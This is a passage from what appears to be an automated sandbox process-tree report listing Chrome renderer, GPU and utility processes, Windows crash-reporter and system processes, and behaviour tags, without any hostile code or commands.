                                    PID:2740
                                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --metrics-shmem-handle=6228,i,6382150456584143669,2987878893939344958,2097152 --field-trial-handle=2044,i,13707056364291244480,16280057140191602648,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=3332 /prefetch:1
                                    6⤵
                                      PID:4816
                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --metrics-shmem-handle=3388,i,12708306847054579015,13533498341260674431,2097152 --field-trial-handle=2044,i,13707056364291244480,16280057140191602648,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=6452 /prefetch:1
                                      6⤵
                                        PID:5136
                                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=video_capture.mojom.VideoCaptureService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=6492,i,11314965562926588865,5993360250635943147,524288 --field-trial-handle=2044,i,13707056364291244480,16280057140191602648,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=6468 /prefetch:8
                                        6⤵
                                        • Modifies registry class
                                        PID:3824
                                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --lang=en-US --service-sandbox-type=audio --force-high-res-timeticks=disabled --metrics-shmem-handle=6516,i,13217546758880264557,7645165497046619692,524288 --field-trial-handle=2044,i,13707056364291244480,16280057140191602648,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=6508 /prefetch:8
                                        6⤵
                                          PID:3128
                                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                                          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=6692,i,5032894282923428616,9055122908245829631,524288 --field-trial-handle=2044,i,13707056364291244480,16280057140191602648,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=6696 /prefetch:8
                                          6⤵
                                            PID:3640
                                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=6684,i,13418966445537284736,13331435840485131874,524288 --field-trial-handle=2044,i,13707056364291244480,16280057140191602648,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=6728 /prefetch:8
                                            6⤵
                                              PID:460
                                            • C:\Program Files\Google\Chrome\Application\chrome.exe
                                              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=6700,i,1613043330803342705,15100274077538592519,524288 --field-trial-handle=2044,i,13707056364291244480,16280057140191602648,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=6768 /prefetch:8
                                              6⤵
                                                PID:2376
                                        • C:\Windows\SysWOW64\WerFault.exe
                                          C:\Windows\SysWOW64\WerFault.exe -u -p 4336 -s 648
                                          3⤵
                                          • Program crash
                                          PID:6008
                                    • C:\Windows\SysWOW64\WerFault.exe
                                      C:\Windows\SysWOW64\WerFault.exe -pss -s 420 -p 4336 -ip 4336
                                      1⤵
                                        PID:4376
                                      • C:\Windows\system32\taskmgr.exe
                                        "C:\Windows\system32\taskmgr.exe" /4
                                        1⤵
                                        • Checks SCSI registry key(s)
                                        • Suspicious behavior: EnumeratesProcesses
                                        • Suspicious behavior: GetForegroundWindowSpam
                                        • Suspicious use of FindShellTrayWindow
                                        • Suspicious use of SendNotifyMessage
                                        PID:4308
                                      • C:\Windows\SysWOW64\WerFault.exe
                                        C:\Windows\SysWOW64\WerFault.exe -pss -s 488 -p 1228 -ip 1228
                                        1⤵
                                          PID:4488
                                        • C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
                                          "C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
                                          1⤵
                                            PID:5152
                                          • C:\Windows\system32\svchost.exe
                                            C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc
                                            1⤵
                                              PID:5984
                                            • C:\Program Files\Google\Chrome\Application\chrome.exe
                                              "C:\Program Files\Google\Chrome\Application\chrome.exe"
                                              1⤵
                                              • Drops file in Windows directory
                                              • Checks SCSI registry key(s)
                                              • Checks processor information in registry
                                              • Enumerates system info in registry
                                              • Modifies data under HKEY_USERS
                                              • Modifies registry class
                                              • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
                                              PID:2168
                                              • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x224,0x228,0x22c,0x1fc,0x230,0x7ffa5a7ec728,0x7ffa5a7ec734,0x7ffa5a7ec740
                                                2⤵
                                                  PID:5820
                                                • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=1748,i,7710620998220313215,8296435676995970847,262144 --field-trial-handle=1968,i,12223828958373300545,10980460159915858982,262144 --variations-seed-version=20260410-170036.536000-production --mojo-platform-channel-handle=1964 /prefetch:2
                                                  2⤵
                                                    PID:5580
                                                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=2120,i,11120104989652631765,5666810707962683521,524288 --field-trial-handle=1968,i,12223828958373300545,10980460159915858982,262144 --variations-seed-version=20260410-170036.536000-production --mojo-platform-channel-handle=2180 /prefetch:3
                                                    2⤵
                                                    • Downloads MZ/PE file
                                                    • System Time Discovery
                                                    PID:2132
                                                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=2380,i,6541086141011485472,5458897164418092183,524288 --field-trial-handle=1968,i,12223828958373300545,10980460159915858982,262144 --variations-seed-version=20260410-170036.536000-production --mojo-platform-channel-handle=2572 /prefetch:8
                                                    2⤵
                                                      PID:3936
                                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=3240,i,11774920634013132787,3789612827306611337,2097152 --field-trial-handle=1968,i,12223828958373300545,10980460159915858982,262144 --variations-seed-version=20260410-170036.536000-production --mojo-platform-channel-handle=3248 /prefetch:1
                                                      2⤵
                                                        PID:4208
                                                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=3272,i,4842487679297807339,17236103398431029042,2097152 --field-trial-handle=1968,i,12223828958373300545,10980460159915858982,262144 --variations-seed-version=20260410-170036.536000-production --mojo-platform-channel-handle=3292 /prefetch:1
                                                        2⤵
                                                          PID:4464
                                                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --metrics-shmem-handle=4600,i,8755391434695828462,4601966210726473445,2097152 --field-trial-handle=1968,i,12223828958373300545,10980460159915858982,262144 --variations-seed-version=20260410-170036.536000-production --mojo-platform-channel-handle=4580 /prefetch:1
                                                          2⤵
                                                            PID:4744
                                                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=5264,i,3757691656322243076,1433724793034992369,524288 --field-trial-handle=1968,i,12223828958373300545,10980460159915858982,262144 --variations-seed-version=20260410-170036.536000-production --mojo-platform-channel-handle=5164 /prefetch:8
                                                            2⤵
                                                              PID:216
                                                            • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --metrics-shmem-handle=4596,i,5767769494337306420,16681750451990267700,2097152 --field-trial-handle=1968,i,12223828958373300545,10980460159915858982,262144 --variations-seed-version=20260410-170036.536000-production --mojo-platform-channel-handle=5292 /prefetch:1
                                                              2⤵
                                                                PID:5712
                                                              • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --metrics-shmem-handle=5540,i,4793301005115767397,5975701277169143558,2097152 --field-trial-handle=1968,i,12223828958373300545,10980460159915858982,262144 --variations-seed-version=20260410-170036.536000-production --mojo-platform-channel-handle=5624 /prefetch:1
                                                                2⤵
                                                                  PID:1996
                                                                • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=5920,i,217304355984423362,544941412068217923,524288 --field-trial-handle=1968,i,12223828958373300545,10980460159915858982,262144 --variations-seed-version=20260410-170036.536000-production --mojo-platform-channel-handle=5936 /prefetch:8
                                                                  2⤵
                                                                    PID:3604
                                                                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=5924,i,3739286654869650359,3013410681781743155,524288 --field-trial-handle=1968,i,12223828958373300545,10980460159915858982,262144 --variations-seed-version=20260410-170036.536000-production --mojo-platform-channel-handle=5908 /prefetch:8
                                                                    2⤵
                                                                      PID:1808
                                                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=5928,i,12745374255954793669,8548251790100173764,524288 --field-trial-handle=1968,i,12223828958373300545,10980460159915858982,262144 --variations-seed-version=20260410-170036.536000-production --mojo-platform-channel-handle=5988 /prefetch:8
                                                                      2⤵
                                                                        PID:4796
                                                                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --metrics-shmem-handle=5996,i,8197426146907028024,10000253978703668592,2097152 --field-trial-handle=1968,i,12223828958373300545,10980460159915858982,262144 --variations-seed-version=20260410-170036.536000-production --mojo-platform-channel-handle=5912 /prefetch:1
                                                                        2⤵
                                                                          PID:4872
                                                                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --metrics-shmem-handle=4664,i,12270001691048559235,442838213021007062,2097152 --field-trial-handle=1968,i,12223828958373300545,10980460159915858982,262144 --variations-seed-version=20260410-170036.536000-production --mojo-platform-channel-handle=4640 /prefetch:1
                                                                          2⤵
                                                                            PID:756
                                                                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=16 --metrics-shmem-handle=6064,i,302340730303864120,9971689414102479350,2097152 --field-trial-handle=1968,i,12223828958373300545,10980460159915858982,262144 --variations-seed-version=20260410-170036.536000-production --mojo-platform-channel-handle=5944 /prefetch:1
                                                                            2⤵
                                                                              PID:3024
                                                                            • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=17 --metrics-shmem-handle=6304,i,894668206094874081,14581851389548274618,2097152 --field-trial-handle=1968,i,12223828958373300545,10980460159915858982,262144 --variations-seed-version=20260410-170036.536000-production --mojo-platform-channel-handle=6324 /prefetch:1
                                                                              2⤵
                                                                                PID:1768
                                                                              • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=18 --metrics-shmem-handle=5896,i,11118265258942463037,6913726479076615270,2097152 --field-trial-handle=1968,i,12223828958373300545,10980460159915858982,262144 --variations-seed-version=20260410-170036.536000-production --mojo-platform-channel-handle=6428 /prefetch:1
                                                                                2⤵
                                                                                  PID:3780
                                                                                • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=19 --metrics-shmem-handle=6684,i,5916681161270324582,5375715875157364943,2097152 --field-trial-handle=1968,i,12223828958373300545,10980460159915858982,262144 --variations-seed-version=20260410-170036.536000-production --mojo-platform-channel-handle=6712 /prefetch:1
                                                                                  2⤵
                                                                                    PID:4620
                                                                                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=20 --metrics-shmem-handle=6640,i,13002850773191734477,13041934214403143235,2097152 --field-trial-handle=1968,i,12223828958373300545,10980460159915858982,262144 --variations-seed-version=20260410-170036.536000-production --mojo-platform-channel-handle=6612 /prefetch:1
                                                                                    2⤵
                                                                                      PID:3048
                                                                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=21 --metrics-shmem-handle=6868,i,6877431288424424185,4058076947141964901,2097152 --field-trial-handle=1968,i,12223828958373300545,10980460159915858982,262144 --variations-seed-version=20260410-170036.536000-production --mojo-platform-channel-handle=6872 /prefetch:1
                                                                                      2⤵
                                                                                        PID:4072
                                                                                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=22 --metrics-shmem-handle=6956,i,7060804599160669192,6128895125541559806,2097152 --field-trial-handle=1968,i,12223828958373300545,10980460159915858982,262144 --variations-seed-version=20260410-170036.536000-production --mojo-platform-channel-handle=6804 /prefetch:1
                                                                                        2⤵
                                                                                          PID:1744
                                                                                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=7004,i,11663596641270775689,726727296908825807,524288 --field-trial-handle=1968,i,12223828958373300545,10980460159915858982,262144 --variations-seed-version=20260410-170036.536000-production --mojo-platform-channel-handle=6796 /prefetch:8
                                                                                          2⤵
                                                                                          • Modifies registry class
                                                                                          • Suspicious use of SetWindowsHookEx
                                                                                          PID:5552
                                                                                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=24 --metrics-shmem-handle=5572,i,10233407824691151742,4583695728400637258,2097152 --field-trial-handle=1968,i,12223828958373300545,10980460159915858982,262144 --variations-seed-version=20260410-170036.536000-production --mojo-platform-channel-handle=5680 /prefetch:1
                                                                                          2⤵
                                                                                            PID:5796
                                                                                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=25 --metrics-shmem-handle=4652,i,6655003550742383732,5555053998128379778,2097152 --field-trial-handle=1968,i,12223828958373300545,10980460159915858982,262144 --variations-seed-version=20260410-170036.536000-production --mojo-platform-channel-handle=6748 /prefetch:1
                                                                                            2⤵
                                                                                              PID:2452
                                                                                            • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=26 --metrics-shmem-handle=6136,i,9918788054081865907,432367071451478102,2097152 --field-trial-handle=1968,i,12223828958373300545,10980460159915858982,262144 --variations-seed-version=20260410-170036.536000-production --mojo-platform-channel-handle=5660 /prefetch:1
                                                                                              2⤵
                                                                                                PID:3976
                                                                                              • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.4355 --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADoAAAIAAAAAAAAAAAAAGAAAQAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=6936,i,9839922016710646740,16306507751624361932,262144 --field-trial-handle=1968,i,12223828958373300545,10980460159915858982,262144 --variations-seed-version=20260410-170036.536000-production --mojo-platform-channel-handle=6736 /prefetch:8
                                                                                                2⤵
                                                                                                  PID:548
                                                                                                • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=28 --metrics-shmem-handle=6764,i,17813915090493318529,252282379963269019,2097152 --field-trial-handle=1968,i,12223828958373300545,10980460159915858982,262144 --variations-seed-version=20260410-170036.536000-production --mojo-platform-channel-handle=4688 /prefetch:1
                                                                                                  2⤵
                                                                                                    PID:5504
                                                                                                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=29 --metrics-shmem-handle=6752,i,9076128714653041322,12753588623982329644,2097152 --field-trial-handle=1968,i,12223828958373300545,10980460159915858982,262144 --variations-seed-version=20260410-170036.536000-production --mojo-platform-channel-handle=4664 /prefetch:1
                                                                                                    2⤵
                                                                                                      PID:4800
                                                                                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=30 --metrics-shmem-handle=7068,i,15374356895182203329,10502399337448950412,2097152 --field-trial-handle=1968,i,12223828958373300545,10980460159915858982,262144 --variations-seed-version=20260410-170036.536000-production --mojo-platform-channel-handle=7064 /prefetch:1
                                                                                                      2⤵
                                                                                                        PID:3888
                                                                                                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=31 --metrics-shmem-handle=6988,i,12983559985459169338,2035337883216004358,2097152 --field-trial-handle=1968,i,12223828958373300545,10980460159915858982,262144 --variations-seed-version=20260410-170036.536000-production --mojo-platform-channel-handle=6100 /prefetch:1
                                                                                                        2⤵
                                                                                                          PID:5172
                                                                                                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=32 --metrics-shmem-handle=6688,i,16098360600866929603,17538812209641658781,2097152 --field-trial-handle=1968,i,12223828958373300545,10980460159915858982,262144 --variations-seed-version=20260410-170036.536000-production --mojo-platform-channel-handle=6636 /prefetch:1
                                                                                                          2⤵
                                                                                                            PID:4452
                                                                                                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=33 --metrics-shmem-handle=6812,i,10892996420948583800,15505547920811999817,2097152 --field-trial-handle=1968,i,12223828958373300545,10980460159915858982,262144 --variations-seed-version=20260410-170036.536000-production --mojo-platform-channel-handle=1288 /prefetch:1
                                                                                                            2⤵
                                                                                                              PID:3064
                                                                                                            • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=34 --metrics-shmem-handle=7072,i,14951949549502710605,1782806967851632688,2097152 --field-trial-handle=1968,i,12223828958373300545,10980460159915858982,262144 --variations-seed-version=20260410-170036.536000-production --mojo-platform-channel-handle=7140 /prefetch:1
                                                                                                              2⤵
                                                                                                                PID:5624
                                                                                                              • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=35 --metrics-shmem-handle=5868,i,9357644348543983542,8706909530068841386,2097152 --field-trial-handle=1968,i,12223828958373300545,10980460159915858982,262144 --variations-seed-version=20260410-170036.536000-production --mojo-platform-channel-handle=6884 /prefetch:1
                                                                                                                2⤵
                                                                                                                  PID:5452
                                                                                                                • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=36 --metrics-shmem-handle=4656,i,14562772831219997851,15460501357614927251,2097152 --field-trial-handle=1968,i,12223828958373300545,10980460159915858982,262144 --variations-seed-version=20260410-170036.536000-production --mojo-platform-channel-handle=6256 /prefetch:1
                                                                                                                  2⤵
                                                                                                                    PID:4204
                                                                                                                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=6244,i,3719365860233820735,13862368221934082257,524288 --field-trial-handle=1968,i,12223828958373300545,10980460159915858982,262144 --variations-seed-version=20260410-170036.536000-production --mojo-platform-channel-handle=5908 /prefetch:8
                                                                                                                    2⤵
                                                                                                                    • Modifies registry class
                                                                                                                    • Suspicious use of SetWindowsHookEx
                                                                                                                    PID:4528
                                                                                                                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=38 --metrics-shmem-handle=6972,i,10838176546550376632,521761669182273468,2097152 --field-trial-handle=1968,i,12223828958373300545,10980460159915858982,262144 --variations-seed-version=20260410-170036.536000-production --mojo-platform-channel-handle=5788 /prefetch:1
                                                                                                                    2⤵
                                                                                                                      PID:3428
                                                                                                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
